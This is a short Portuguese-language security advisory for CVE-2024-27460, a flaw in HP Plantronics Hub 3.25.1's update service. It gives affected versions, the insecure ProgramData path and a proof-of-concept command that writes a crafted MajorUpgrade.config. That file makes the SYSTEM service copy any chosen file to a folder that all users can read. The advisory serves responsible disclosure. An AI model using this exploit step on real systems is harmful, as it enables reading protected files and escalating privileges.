CVE-2024-27460

HP Plantronics Hub 3.25.1 Atualizador - Escalação de Privilégios/Leitura Arbitrária de Arquivos

Descrição:

O HP Plantronics Hub 3.25.1 sofre de um bug que permite que usuários com baixos privilégios realizem leitura arbitrária de arquivos como SYSTEM na máquina onde o aplicativo está instalado. Além disso, é possível abusar desta falha para escalar privilégios para o usuário SYSTEM.

Versões afetadas

HP Plantronics Hub 3.25.1

Serviço(s) impactado(s)

Caminho inseguro: "C:\ProgramData\Plantronics\Spokes3G"

Serviço: PlantronicsUpdateService

Passos para reproduzir (POC):

• Abra cmd.exe
• Navegue usando cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• O arquivo desejado será copiado para "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", ao qual qualquer usuário autenticado tem acesso.

Descoberto por:

• Farid Zerrouk da Deloitte Bélgica
• Alaa Kachouh da Mastercard Europe